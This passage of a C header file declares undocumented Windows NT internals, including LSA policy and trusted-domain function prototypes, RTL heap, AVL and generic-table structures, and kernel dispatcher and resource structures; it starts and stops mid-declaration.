PolicyHandle,\r\n\tIN PSID AccountSid,\r\n\tIN PLSA_UNICODE_STRING UserRights,\r\n\tIN ULONG CountOfRights\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLsaRemoveAccountRights(\r\n\tIN LSA_HANDLE PolicyHandle,\r\n\tIN PSID AccountSid,\r\n\tIN BOOLEAN AllRights,\r\n\tIN LSA_UNICODE_STRING UserRights,\r\n\tIN ULONG CountOfRights\r\n\t);\r\n\r\n///////////////////////////////////////////////////////////////////////////////\r\n//                                                                           //\r\n// Local Security Policy - Trusted Domain Object API function prototypes     //\r\n//                                                                           //\r\n///////////////////////////////////////////////////////////////////////////////\r\n\r\nNTSTATUS\r\nNTAPI\r\nLsaOpenTrustedDomainByName(\r\n\tIN LSA_HANDLE PolicyHandle,\r\n\tIN PLSA_UNICODE_STRING TrustedDomainName,\r\n\tIN ACCESS_MASK DesiredAccess,\r\n\tOUT PLSA_HANDLE TrustedDomainHandle\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLsaQueryTrustedDomainInfo(\r\n\tIN LSA_HANDLE PolicyHandle,\r\n\tIN PSID TrustedDomainSid,\r\n\tIN TRUSTED_INFORMATION_CLASS InformationClass,\r\n\tOUT PVOID *Buffer\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLsaSetTrustedDomainInformation(\r\n\tIN LSA_HANDLE PolicyHandle,\r\n\tIN PSID TrustedDomainSid,\r\n\tIN TRUSTED_INFORMATION_CLASS InformationClass,\r\n\tIN PVOID Buffer\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLsaDeleteTrustedDomain(\r\n\tIN LSA_HANDLE PolicyHandle,\r\n\tIN PSID TrustedDomainSid\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLsaQueryTrustedDomainInfoByName(\r\n\tIN LSA_HANDLE PolicyHandle,\r\n\tIN PLSA_UNICODE_STRING TrustedDomainName,\r\n\tIN TRUSTED_INFORMATION_CLASS InformationClass,\r\n\tOUT PVOID *Buffer\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLsaSetTrustedDomainInfoByName(\r\n\tIN LSA_HANDLE PolicyHandle,\r\n\tIN PLSA_UNICODE_STRING TrustedDomainName,\r\n\tIN TRUSTED_INFORMATION_CLASS InformationClass,\r\n\tIN PVOID Buffer\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLsaEnumerateTrustedDomainsEx(\r\n\tIN LSA_HANDLE PolicyHandle,\r\n\t_Inout_ PLSA_ENUMERATION_HANDLE EnumerationContext,\r\n\tOUT PVOID *Buffer,\r\n\tIN ULONG preferredMaximumLength,\r\n\tOUT PULONG CountReturned\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLsaCreateTrustedDomainEx(\r\n\tIN LSA_HANDLE PolicyHandle,\r\n\tIN PTRUSTED_DOMAIN_INFORMATION_EX TrustedDomainInformation,\r\n\tIN PTRUSTED_DOMAIN_AUTH_INFORMATION AuthenticationInformation,\r\n\tIN ACCESS_MASK DesiredAccess,\r\n\tOUT PLSA_HANDLE TrustedDomainHandle\r\n\t);\r\n\r\n#if (_WIN32_WINNT >= 0x0501)\r\nNTSTATUS\r\nNTAPI\r\nLsaQueryForestTrustInformation(\r\n\tIN LSA_HANDLE PolicyHandle,\r\n\tIN PLSA_UNICODE_STRING TrustedDomainName,\r\n\tOUT PLSA_FOREST_TRUST_INFORMATION * ForestTrustInfo\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLsaSetForestTrustInformation(\r\n\tIN LSA_HANDLE PolicyHandle,\r\n\tIN PLSA_UNICODE_STRING TrustedDomainName,\r\n\tIN PLSA_FOREST_TRUST_INFORMATION ForestTrustInfo,\r\n\tIN BOOLEAN CheckOnly,\r\n\tOUT PLSA_FOREST_TRUST_COLLISION_INFORMATION * CollisionInfo\r\n\t);\r\n\r\n// #define TESTING_MATCHING_ROUTINE\r\n#ifdef TESTING_MATCHING_ROUTINE\r\n\r\nNTSTATUS\r\nNTAPI\r\nLsaForestTrustFindMatch(\r\n\tIN LSA_HANDLE PolicyHandle,\r\n\tIN ULONG Type,\r\n\tIN PLSA_UNICODE_STRING Name,\r\n\tOUT PLSA_UNICODE_STRING * Match\r\n\t);\r\n\r\n#endif\r\n#endif\r\n\r\n//\r\n// This API sets the workstation password (equivalent of setting/getting\r\n// the SSI_SECRET_NAME secret)\r\n//\r\n\r\nNTSTATUS\r\nNTAPI\r\nLsaStorePrivateData(\r\n\tIN LSA_HANDLE PolicyHandle,\r\n\tIN PLSA_UNICODE_STRING KeyName,\r\n\t_In_opt_ PLSA_UNICODE_STRING PrivateData\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLsaRetrievePrivateData(\r\n\tIN LSA_HANDLE PolicyHandle,\r\n\tIN PLSA_UNICODE_STRING KeyName,\r\n\tOUT PLSA_UNICODE_STRING * PrivateData\r\n\t);\r\n\r\n\r\nULONG\r\nNTAPI\r\nLsaNtStatusToWinError(\r\n\tIN NTSTATUS Status\r\n\t);\r\n\r\nBOOL\r\nNTAPI\r\nConvertSidToStringSidW(\r\n\tIN PSID Sid,\r\n\tOUT LPWSTR *StringSid\r\n\t);\r\n\r\n#endif // _NTLSA_IFS_\r\n// 04.06.2011 - end\r\n\r\n//\r\n// Driver entry management APIs.\r\n//\r\n\r\ntypedef struct _EFI_DRIVER_ENTRY {\r\n\tULONG Version;\r\n\tULONG Length;\r\n\tULONG Id;\r\n\tULONG FriendlyNameOffset;\r\n\tULONG DriverFilePathOffset;\r\n\t//WCHAR FriendlyName[ANYSIZE_ARRAY];\r\n\t//FILE_PATH DriverFilePath;\r\n} EFI_DRIVER_ENTRY, *PEFI_DRIVER_ENTRY;\r\n\r\ntypedef struct _EFI_DRIVER_ENTRY_LIST {\r\n\tULONG NextEntryOffset;\r\n\tEFI_DRIVER_ENTRY DriverEntry;\r\n} EFI_DRIVER_ENTRY_LIST, *PEFI_DRIVER_ENTRY_LIST;\r\n\r\n#define EFI_DRIVER_ENTRY_VERSION 1\r\n#define MAX_STACK_DEPTH 32\r\n\r\ntypedef struct _RTL_STACK_CONTEXT_ENTRY {\r\n\tULONG_PTR Address; // stack address\r\n\tULONG_PTR Data;    // stack contents\r\n} RTL_STACK_CONTEXT_ENTRY, * PRTL_STACK_CONTEXT_ENTRY;\r\n\r\ntypedef struct _RTL_STACK_CONTEXT {\r\n\tULONG NumberOfEntries;\r\n\tRTL_STACK_CONTEXT_ENTRY Entry[1];\r\n} RTL_STACK_CONTEXT, * PRTL_STACK_CONTEXT;\r\n\r\ntypedef NTSTATUS\r\n\t(NTAPI * PRTL_HEAP_COMMIT_ROUTINE)(\r\n\tIN PVOID Base,\r\n\t_Inout_ PVOID *CommitAddress,\r\n\t_Inout_ PSIZE_T CommitSize\r\n\t);\r\n\r\ntypedef struct _RTL_HEAP_PARAMETERS\r\n{\r\n\tULONG Length;\r\n\tSIZE_T SegmentReserve;\r\n\tSIZE_T SegmentCommit;\r\n\tSIZE_T DeCommitFreeBlockThreshold;\r\n\tSIZE_T DeCommitTotalFreeThreshold;\r\n\tSIZE_T MaximumAllocationSize;\r\n\tSIZE_T VirtualMemoryThreshold;\r\n\tSIZE_T InitialCommit;\r\n\tSIZE_T InitialReserve;\r\n\tPRTL_HEAP_COMMIT_ROUTINE CommitRoutine;\r\n\tSIZE_T Reserved[2];\r\n} RTL_HEAP_PARAMETERS, *PRTL_HEAP_PARAMETERS;\r\n\r\n#define HEAP_SETTABLE_USER_VALUE 0x00000100\r\n#define HEAP_SETTABLE_USER_FLAG1 0x00000200\r\n#define HEAP_SETTABLE_USER_FLAG2 0x00000400\r\n#define HEAP_SETTABLE_USER_FLAG3 0x00000800\r\n#define HEAP_SETTABLE_USER_FLAGS 0x00000e00\r\n\r\n#define HEAP_CLASS_0 0x00000000 // Process heap\r\n#define HEAP_CLASS_1 0x00001000 // Private heap\r\n#define HEAP_CLASS_2 0x00002000 // Kernel heap\r\n#define HEAP_CLASS_3 0x00003000 // GDI heap\r\n#define HEAP_CLASS_4 0x00004000 // User heap\r\n#define HEAP_CLASS_5 0x00005000 // Console heap\r\n#define HEAP_CLASS_6 0x00006000 // User desktop heap\r\n#define HEAP_CLASS_7 0x00007000 // CSR shared heap\r\n#define HEAP_CLASS_8 0x00008000 // CSR port heap\r\n#define HEAP_CLASS_MASK 0x0000f000\r\n\r\nstruct _RTL_AVL_TABLE;\r\n\r\ntypedef struct _RTL_SPLAY_LINKS {\r\n\tstruct _RTL_SPLAY_LINKS *Parent;\r\n\tstruct _RTL_SPLAY_LINKS *LeftChild;\r\n\tstruct _RTL_SPLAY_LINKS *RightChild;\r\n} RTL_SPLAY_LINKS;\r\ntypedef RTL_SPLAY_LINKS *PRTL_SPLAY_LINKS;\r\n\r\ntypedef enum _TABLE_SEARCH_RESULT\r\n{\r\n\tTableEmptyTree,\r\n\tTableFoundNode,\r\n\tTableInsertAsLeft,\r\n\tTableInsertAsRight\r\n} TABLE_SEARCH_RESULT;\r\n\r\ntypedef enum _RTL_GENERIC_COMPARE_RESULTS\r\n{\r\n\tGenericLessThan,\r\n\tGenericGreaterThan,\r\n\tGenericEqual\r\n} RTL_GENERIC_COMPARE_RESULTS;\r\n\r\nstruct _RTL_AVL_TABLE;\r\n\r\ntypedef RTL_GENERIC_COMPARE_RESULTS (NTAPI *PRTL_AVL_COMPARE_ROUTINE)(\r\n\tIN struct _RTL_AVL_TABLE *Table,\r\n\tIN PVOID FirstStruct,\r\n\tIN PVOID SecondStruct\r\n\t);\r\n\r\ntypedef PVOID (NTAPI *PRTL_AVL_ALLOCATE_ROUTINE)(\r\n\tIN struct _RTL_AVL_TABLE *Table,\r\n\tIN CLONG ByteSize\r\n\t);\r\n\r\ntypedef VOID (NTAPI *PRTL_AVL_FREE_ROUTINE)(\r\n\tIN struct _RTL_AVL_TABLE *Table,\r\n\tIN\tPVOID Buffer\r\n\t);\r\n\r\ntypedef NTSTATUS (NTAPI *PRTL_AVL_MATCH_FUNCTION)(\r\n\tIN struct _RTL_AVL_TABLE *Table,\r\n\tIN PVOID UserData,\r\n\tIN PVOID MatchData\r\n\t);\r\n\r\ntypedef\r\n\tRTL_GENERIC_COMPARE_RESULTS\r\n\t(NTAPI *PRTL_AVL_COMPARE_ROUTINE) (\r\n\tstruct _RTL_AVL_TABLE *Table,\r\n\tPVOID FirstStruct,\r\n\tPVOID SecondStruct\r\n\t);\r\n\r\ntypedef\r\n\tPVOID\r\n\t(NTAPI *PRTL_AVL_ALLOCATE_ROUTINE) (\r\n\tstruct _RTL_AVL_TABLE *Table,\r\n\tULONG ByteSize\r\n\t);\r\n\r\n\r\ntypedef\r\n\tNTSTATUS\r\n\t(NTAPI *PRTL_AVL_MATCH_FUNCTION) (\r\n\tstruct _RTL_AVL_TABLE *Table,\r\n\tPVOID UserData,\r\n\tPVOID MatchData\r\n\t);\r\n\r\ntypedef\r\n\tRTL_GENERIC_COMPARE_RESULTS\r\n\t(NTAPI *PRTL_GENERIC_COMPARE_ROUTINE) (\r\n\tstruct _RTL_GENERIC_TABLE *Table,\r\n\tPVOID FirstStruct,\r\n\tPVOID SecondStruct\r\n\t);\r\n\r\ntypedef\r\n\tPVOID\r\n\t(NTAPI *PRTL_GENERIC_ALLOCATE_ROUTINE) (\r\n\tstruct _RTL_GENERIC_TABLE *Table,\r\n\tULONG ByteSize\r\n\t);\r\n\r\ntypedef\r\n\tVOID\r\n\t(NTAPI *PRTL_GENERIC_FREE_ROUTINE) (\r\n\tstruct _RTL_GENERIC_TABLE *Table,\r\n\tPVOID Buffer\r\n\t);\r\n\r\ntypedef struct _RTL_BALANCED_LINKS\r\n{\r\n\tstruct _RTL_BALANCED_LINKS *Parent;\r\n\tstruct _RTL_BALANCED_LINKS *LeftChild;\r\n\tstruct _RTL_BALANCED_LINKS *RightChild;\r\n\tCHAR Balance;\r\n\tUCHAR Reserved[3];\r\n} RTL_BALANCED_LINKS, *PRTL_BALANCED_LINKS;\r\n\r\ntypedef struct _RTL_AVL_TABLE\r\n{\r\n\tRTL_BALANCED_LINKS BalancedRoot;\r\n\tPVOID OrderedPointer;\r\n\tULONG WhichOrderedElement;\r\n\tULONG NumberGenericTableElements;\r\n\tULONG DepthOfTree;\r\n\tPRTL_BALANCED_LINKS RestartKey;\r\n\tULONG DeleteCount;\r\n\tPRTL_AVL_COMPARE_ROUTINE CompareRoutine;\r\n\tPRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine;\r\n\tPRTL_AVL_FREE_ROUTINE FreeRoutine;\r\n\tPVOID TableContext;\r\n} RTL_AVL_TABLE, *PRTL_AVL_TABLE;\r\n\r\ntypedef struct _RTL_GENERIC_TABLE {\r\n\tPRTL_SPLAY_LINKS TableRoot;\r\n\tLIST_ENTRY InsertOrderList;\r\n\tPLIST_ENTRY OrderedPointer;\r\n\tULONG WhichOrderedElement;\r\n\tULONG NumberGenericTableElements;\r\n\tPRTL_GENERIC_COMPARE_ROUTINE CompareRoutine;\r\n\tPRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine;\r\n\tPRTL_GENERIC_FREE_ROUTINE FreeRoutine;\r\n\tPVOID TableContext;\r\n} RTL_GENERIC_TABLE;\r\ntypedef RTL_GENERIC_TABLE *PRTL_GENERIC_TABLE;\r\n\r\ntypedef struct _GENERATE_NAME_CONTEXT {\r\n\r\n\tUSHORT Checksum;\r\n\tBOOLEAN ChecksumInserted;\r\n\r\n\tUCHAR NameLength;         // not including extension\r\n\tWCHAR NameBuffer[8];      // e.g., \"ntoskrnl\"\r\n\r\n\tULONG ExtensionLength;    // including dot\r\n\tWCHAR ExtensionBuffer[4]; // e.g., \".exe\"\r\n\r\n\tULONG LastIndexValue;\r\n\r\n} GENERATE_NAME_CONTEXT;\r\ntypedef GENERATE_NAME_CONTEXT *PGENERATE_NAME_CONTEXT;\r\n\r\ntypedef struct _PREFIX_TABLE_ENTRY {\r\n\tCSHORT NodeTypeCode;\r\n\tCSHORT NameLength;\r\n\tstruct _PREFIX_TABLE_ENTRY *NextPrefixTree;\r\n\tRTL_SPLAY_LINKS Links;\r\n\tPSTRING Prefix;\r\n} PREFIX_TABLE_ENTRY;\r\ntypedef PREFIX_TABLE_ENTRY *PPREFIX_TABLE_ENTRY;\r\n\r\ntypedef struct _PREFIX_TABLE {\r\n\tCSHORT NodeTypeCode;\r\n\tCSHORT NameLength;\r\n\tPPREFIX_TABLE_ENTRY NextPrefixTree;\r\n} PREFIX_TABLE;\r\ntypedef PREFIX_TABLE *PPREFIX_TABLE;\r\n\r\ntypedef struct _UNICODE_PREFIX_TABLE_ENTRY {\r\n\tCSHORT NodeTypeCode;\r\n\tCSHORT NameLength;\r\n\tstruct _UNICODE_PREFIX_TABLE_ENTRY *NextPrefixTree;\r\n\tstruct _UNICODE_PREFIX_TABLE_ENTRY *CaseMatch;\r\n\tRTL_SPLAY_LINKS Links;\r\n\tPUNICODE_STRING Prefix;\r\n} UNICODE_PREFIX_TABLE_ENTRY;\r\ntypedef UNICODE_PREFIX_TABLE_ENTRY *PUNICODE_PREFIX_TABLE_ENTRY;\r\n\r\ntypedef struct _UNICODE_PREFIX_TABLE {\r\n\tCSHORT NodeTypeCode;\r\n\tCSHORT NameLength;\r\n\tPUNICODE_PREFIX_TABLE_ENTRY NextPrefixTree;\r\n\tPUNICODE_PREFIX_TABLE_ENTRY LastNextEntry;\r\n} UNICODE_PREFIX_TABLE;\r\ntypedef UNICODE_PREFIX_TABLE *PUNICODE_PREFIX_TABLE;\r\n\r\n#define COMPRESSION_FORMAT_NONE          (0x0000)   // winnt\r\n#define COMPRESSION_FORMAT_DEFAULT       (0x0001)   // winnt\r\n#define COMPRESSION_FORMAT_LZNT1         (0x0002)   // winnt\r\n\r\n#define COMPRESSION_ENGINE_STANDARD      (0x0000)   // winnt\r\n#define COMPRESSION_ENGINE_MAXIMUM       (0x0100)   // winnt\r\n#define COMPRESSION_ENGINE_HIBER         (0x0200)   // winnt\r\n\r\ntypedef struct _COMPRESSED_DATA_INFO {\r\n\r\n\tUSHORT CompressionFormatAndEngine;\r\n\r\n\tUCHAR CompressionUnitShift;\r\n\tUCHAR ChunkShift;\r\n\tUCHAR ClusterShift;\r\n\tUCHAR Reserved;\r\n\tUSHORT NumberOfChunks;\r\n\tULONG CompressedChunkSizes[ANYSIZE_ARRAY];\r\n\r\n} COMPRESSED_DATA_INFO;\r\ntypedef COMPRESSED_DATA_INFO *PCOMPRESSED_DATA_INFO;\r\n\r\ntypedef struct _SECTION_IMAGE_INFORMATION {\r\n\tPVOID TransferAddress;\r\n\tULONG ZeroBits;\r\n\tUCHAR Alignment[4];\r\n\tSIZE_T MaximumStackSize;\r\n\tSIZE_T CommittedStackSize;\r\n\tULONG SubSystemType;\r\n\tunion {\r\n\t\tstruct {\r\n\t\t\tUSHORT SubSystemMinorVersion;\r\n\t\t\tUSHORT SubSystemMajorVersion;\r\n\t\t};\r\n\t\tULONG SubSystemVersion;\r\n\t};\r\n\tULONG GpValue;\r\n\tUSHORT ImageCharacteristics;\r\n\tUSHORT DllCharacteristics;\r\n\tUSHORT Machine;\r\n\tBOOLEAN ImageContainsCode;\r\n\tunion\r\n\t{\r\n\t\tUCHAR\tImageFlags;\r\n\t\tstruct \r\n\t\t{\r\n\t\t\tBOOLEAN ComPlusNativeReady : 1;\r\n\t\t\tBOOLEAN ComPlusILOnly : 1;\r\n\t\t\tBOOLEAN ImageDynamicallyRelocated : 1;\r\n\t\t\tBOOLEAN ImageMappedFlat : 1;\r\n\t\t\tBOOLEAN Reserved : 4;\r\n\t\t};\r\n\t};\r\n\r\n\tULONG LoaderFlags;\r\n\tULONG ImageFileSize;\r\n\tULONG CheckSum;\r\n} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION;\r\n\r\ntypedef struct _SECTION_IMAGE_INFORMATION64 {\r\n\tULONGLONG TransferAddress;\r\n\tULONG ZeroBits;\r\n\tULONGLONG MaximumStackSize;\r\n\tULONGLONG CommittedStackSize;\r\n\tULONG SubSystemType;\r\n\tunion {\r\n\t\tstruct {\r\n\t\t\tUSHORT SubSystemMinorVersion;\r\n\t\t\tUSHORT SubSystemMajorVersion;\r\n\t\t};\r\n\t\tULONG SubSystemVersion;\r\n\t};\r\n\tULONG GpValue;\r\n\tUSHORT ImageCharacteristics;\r\n\tUSHORT DllCharacteristics;\r\n\tUSHORT Machine;\r\n\tBOOLEAN ImageContainsCode;\r\n\tBOOLEAN Spare1;\r\n\tULONG LoaderFlags;\r\n\tULONG ImageFileSize;\r\n\tULONG Reserved[ 1 ];\r\n} SECTION_IMAGE_INFORMATION64, *PSECTION_IMAGE_INFORMATION64;\r\n\r\ntypedef struct _RTL_BITMAP {\r\n\tULONG SizeOfBitMap;\r\n\tUCHAR Padding[4];\r\n\tPULONG Buffer;\r\n} RTL_BITMAP;\r\ntypedef RTL_BITMAP *PRTL_BITMAP;\r\n\r\n#define RTL_USER_PROC_CURDIR_CLOSE      0x00000002\r\n#define RTL_USER_PROC_CURDIR_INHERIT    0x00000003\r\n\r\n#define RTL_RANGE_SHARED    0x01\r\n#define RTL_RANGE_CONFLICT  0x02\r\n\r\ntypedef struct _RTL_RANGE_LIST {\r\n\tLIST_ENTRY ListHead;\r\n\tULONG Flags;        // use RANGE_LIST_FLAG_*\r\n\tULONG Count;\r\n\tULONG Stamp;\r\n} RTL_RANGE_LIST, *PRTL_RANGE_LIST;\r\n\r\ntypedef enum {\r\n\tRtlBsdItemVersionNumber = 0x00,\r\n\tRtlBsdItemProductType,\r\n\tRtlBsdItemAabEnabled,\r\n\tRtlBsdItemAabTimeout,\r\n\tRtlBsdItemBootGood,\r\n\tRtlBsdItemBootShutdown,\r\n\tRtlBsdItemMax\r\n} RTL_BSD_ITEM_TYPE, *PRTL_BSD_ITEM_TYPE;\r\n\r\ntypedef struct _RANGE_LIST_ITERATOR {\r\n\tPLIST_ENTRY RangeListHead;\r\n\tPLIST_ENTRY MergedHead;\r\n\tPVOID Current;\r\n\tULONG Stamp;\r\n} RTL_RANGE_LIST_ITERATOR, *PRTL_RANGE_LIST_ITERATOR;\r\n\r\ntypedef struct _STARTUP_ARGUMENT\r\n{\r\n\t//ULONG Unknown[ 3 ];\r\n\tUNICODE_STRING Unknown[ 3 ];\r\n\tPRTL_USER_PROCESS_PARAMETERS Environment;\r\n} STARTUP_ARGUMENT, *PSTARTUP_ARGUMENT;\r\n\r\n#define RTL_USER_PROC_PARAMS_NORMALIZED     0x00000001\r\n#define RTL_USER_PROC_PROFILE_USER          0x00000002\r\n#define RTL_USER_PROC_PROFILE_KERNEL        0x00000004\r\n#define RTL_USER_PROC_PROFILE_SERVER        0x00000008\r\n#define RTL_USER_PROC_RESERVE_1MB           0x00000020\r\n#define RTL_USER_PROC_RESERVE_16MB          0x00000040\r\n#define RTL_USER_PROC_CASE_SENSITIVE        0x00000080\r\n#define RTL_USER_PROC_DISABLE_HEAP_DECOMMIT 0x00000100\r\n#define RTL_USER_PROC_DLL_REDIRECTION_LOCAL 0x00001000\r\n#define RTL_USER_PROC_APP_MANIFEST_PRESENT  0x00002000\r\n#define RTL_USER_PROC_IMAGE_KEY_MISSING     0x00004000\r\n#define RTL_USER_PROC_OPTIN_PROCESS         0x00020000\r\n\r\ntypedef NTSTATUS (*PUSER_PROCESS_START_ROUTINE)(\r\n\tPRTL_USER_PROCESS_PARAMETERS ProcessParameters\r\n\t);\r\n\r\ntypedef NTSTATUS (*PUSER_THREAD_START_ROUTINE)(\r\n\tPVOID ThreadParameter\r\n\t);\r\n\r\ntypedef struct _RTL_USER_PROCESS_INFORMATION {\r\n\tULONG Length;\r\n\tHANDLE Process;\r\n\tHANDLE Thread;\r\n\tCLIENT_ID ClientId;\r\n\tSECTION_IMAGE_INFORMATION ImageInformation;\r\n} RTL_USER_PROCESS_INFORMATION, *PRTL_USER_PROCESS_INFORMATION;\r\n\r\ntypedef struct _RTL_USER_PROCESS_INFORMATION64 {\r\n\tULONG Length;\r\n\tLONGLONG Process;\r\n\tLONGLONG Thread;\r\n\tCLIENT_ID64 ClientId;\r\n\tSECTION_IMAGE_INFORMATION64 ImageInformation;\r\n} RTL_USER_PROCESS_INFORMATION64, *PRTL_USER_PROCESS_INFORMATION64;\r\n\r\n#define RTL_TRACE_IN_USER_MODE       0x00000001\r\n#define RTL_TRACE_IN_KERNEL_MODE     0x00000002\r\n#define RTL_TRACE_USE_NONPAGED_POOL  0x00000004\r\n#define RTL_TRACE_USE_PAGED_POOL     0x00000008\r\n\r\ntypedef struct _RTL_RESOURCE {\r\n\r\n\tRTL_CRITICAL_SECTION CriticalSection;\r\n\r\n\tHANDLE SharedSemaphore;\r\n\tULONG NumberOfWaitingShared;\r\n\tHANDLE ExclusiveSemaphore;\r\n\tULONG NumberOfWaitingExclusive;\r\n\r\n\tLONG NumberOfActive;\r\n\tHANDLE ExclusiveOwnerThread;\r\n\r\n\tULONG Flags;        // See RTL_RESOURCE_FLAG_ equates below.\r\n\r\n\tPRTL_RESOURCE_DEBUG DebugInfo;\r\n} RTL_RESOURCE, *PRTL_RESOURCE;\r\n\r\n#define RTL_RESOURCE_FLAG_LONG_TERM     ((ULONG) 0x00000001)\r\n\r\ntypedef struct _RTL_TRACE_BLOCK {\r\n\tULONG Magic;\r\n\tULONG Count;\r\n\tULONG Size;\r\n\r\n\tSIZE_T UserCount;\r\n\tSIZE_T UserSize;\r\n\tPVOID UserContext;\r\n\r\n\tstruct _RTL_TRACE_BLOCK * Next;\r\n\tPVOID * Trace;\r\n} RTL_TRACE_BLOCK, * PRTL_TRACE_BLOCK;\r\n\r\ntypedef ULONG (* RTL_TRACE_HASH_FUNCTION) (ULONG Count, PVOID * Trace);\r\ntypedef struct _RTL_TRACE_DATABASE * PRTL_TRACE_DATABASE;\r\n\r\ntypedef struct _RTL_TRACE_ENUMERATE {\r\n\tPRTL_TRACE_DATABASE Database;\r\n\tULONG Index;\r\n\tPRTL_TRACE_BLOCK Block;\r\n} RTL_TRACE_ENUMERATE, * PRTL_TRACE_ENUMERATE;\r\n\r\ntypedef struct _KLDR_DATA_TABLE_ENTRY\r\n{\r\n\tLIST_ENTRY InLoadOrderLinks;\r\n\tPVOID ExceptionTable;\r\n\tULONG ExceptionTableSize;\r\n\tPVOID GpValue;\r\n\tstruct _NON_PAGED_DEBUG_INFO* NonPagedDebugInfo;\r\n\tPVOID DllBase;\r\n\tPVOID EntryPoint;\r\n\tULONG SizeOfImage;\r\n\tUNICODE_STRING FullDllName;\r\n\tUNICODE_STRING BaseDllName;\r\n\tULONG Flags;\r\n\tUSHORT LoadCount;\r\n\tUSHORT __Unused5;\r\n\tPVOID SectionPointer;\r\n\tULONG CheckSum;\r\n\tULONG CoverageSectionSize;\r\n\tPVOID CoverageSection;\r\n\tPVOID LoadedImports;\r\n\tPVOID PatchInformation;\r\n} KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;\t// <size 0x54>\r\n\r\n#define RTL_HEAP_BUSY               (USHORT)0x0001\r\n#define RTL_HEAP_SEGMENT            (USHORT)0x0002\r\n#define RTL_HEAP_SETTABLE_VALUE     (USHORT)0x0010\r\n#define RTL_HEAP_SETTABLE_FLAG1     (USHORT)0x0020\r\n#define RTL_HEAP_SETTABLE_FLAG2     (USHORT)0x0040\r\n#define RTL_HEAP_SETTABLE_FLAG3     (USHORT)0x0080\r\n#define RTL_HEAP_SETTABLE_FLAGS     (USHORT)0x00E0\r\n#define RTL_HEAP_UNCOMMITTED_RANGE  (USHORT)0x0100\r\n#define RTL_HEAP_PROTECTED_ENTRY    (USHORT)0x0200\r\n\r\n#pragma warning(disable: 4273) // nconsistent dll linkage (winnt.h)\r\n\r\ntypedef struct _DISPATCHER_HEADER\r\n{\r\n\tunion\r\n\t{\r\n\t\tstruct\r\n\t\t{\r\n\t\t\tUCHAR Type;\r\n\t\t\tunion\r\n\t\t\t{\r\n\t\t\t\tUCHAR Absolute;\r\n\t\t\t\tUCHAR NpxIrql;\r\n\t\t\t};\r\n\r\n\t\t\tunion\r\n\t\t\t{\r\n\t\t\t\tUCHAR Size;\r\n\t\t\t\tUCHAR Hand;\r\n\t\t\t};\r\n\r\n\t\t\tunion\r\n\t\t\t{\r\n\t\t\t\tUCHAR Inserted;\r\n\t\t\t\tBOOLEAN DebugActive;\r\n\t\t\t};\r\n\r\n\t\t};\t// struct ..\r\n\t\tvolatile LONG Lock;\r\n\t};\t// first union ..\r\n\r\n\tLONG SignalState;\r\n\tLIST_ENTRY WaitListHead;\r\n} DISPATCHER_HEADER, *PDISPATCHER_HEADER;\r\n\r\ntypedef struct _KEVENT\r\n{\r\n\tDISPATCHER_HEADER Header;\r\n} KEVENT, *PKEVENT, *PRKEVENT;\r\n\r\ntypedef struct _KGATE\r\n{\r\n\tDISPATCHER_HEADER Header;\r\n} KGATE, *PKGATE;\r\n\r\ntypedef struct _KSEMAPHORE\r\n{\r\n\tDISPATCHER_HEADER Header;\r\n\tLONG Limit;\r\n} KSEMAPHORE, *PKSEMAPHORE;\t\t// <size 0x14>\r\n\r\ntypedef struct _OWNER_ENTRY\r\n{\r\n\tULONG OwnerThread;\r\n\tLONG OwnerCount;\r\n\tULONG TableSize;\r\n} OWNER_ENTRY, *POWNER_ENTRY;\t\t// <size 0x8>\r\n\r\ntypedef struct _ERESOURCE\r\n{\r\n\tLIST_ENTRY SystemResourcesList;\r\n\tOWNER_ENTRY* OwnerTable;\r\n\tSHORT ActiveCount;\r\n\tUSHORT Flag;\r\n\tKSEMAPHORE* SharedWaiters;\r\n\tKEVENT* ExclusiveWaiters;\r\n\tOWNER_ENTRY OwnerEntry;\r\n\tULONG ActiveEntries;\r\n\tULONG ContentionCount;\r\n\tULONG NumberOfSharedWaiters;\r\n\tULONG NumberOfExclusiveWaiters;\r\n\tPVOID Address;\r\n\tULONG CreatorBackTraceIndex;\r\n\tULONG SpinLock;\r\n} ERESOURCE, *PERESOURCE;\t\t// <size 0x38>\r\n\r\n#define SET_LAST_STATUS(S)NtCurrentTeb()->LastErrorValue = RtlNtStatusToDosError(NtCurrentTeb()->LastStatusValue = (ULONG)(S))\r\n\r\n#define HEAP_GRANULARITY            (sizeof( HEAP_ENTRY ))\r\n#define HEAP_GRANULARITY_SHIFT      3\r\n\r\n#define HEAP_MAXIMUM_BLOCK_SIZE     (USHORT)(((0x10000 << HEAP_GRANULARITY_SHIFT) - PAGE_SIZE) >> HEAP_GRANULARITY_SHIFT)\r\n\r\n#define HEAP_MAXIMUM_FREELISTS 128\r\n#define HEAP_MAXIMUM_SEGMENTS 16\r\n\r\n#define HEAP_ENTRY_BUSY             0x01\r\n#define HEAP_ENTRY_EXTRA_PRESENT    0x02\r\n#define HEAP_ENTRY_FILL_PATTERN     0x04\r\n#define HEAP_ENTRY_VIRTUAL_ALLOC    0x08\r\n#define HEAP_ENTRY_LAST_ENTRY       0x10\r\n#define HEAP_ENTRY_SETTABLE_FLAG1   0x20\r\n#define HEAP_ENTRY_SETTABLE_FLAG2   0x40\r\n#define HEAP_ENTRY_SETTABLE_FLAG3   0x80\r\n#define HEAP_ENTRY_SETTABLE_FLAGS   0xE0\r\n\r\ntypedef struct _HEAP_LOCK\r\n{\r\n\tunion\r\n\t{\r\n\t\tRTL_CRITICAL_SECTION CriticalSection;\r\n\t\tERESOURCE Resource;\r\n\t} Lock;\r\n} HEAP_LOCK, *PHEAP_LOCK;\r\n\r\ntypedef struct _HEAP_TUNING_PARAMETERS\r\n{\r\n\tULONG CommittThresholdShift;\r\n\tULONG MaxPreCommittThreshold;\r\n} HEAP_TUNING_PARAMETERS, 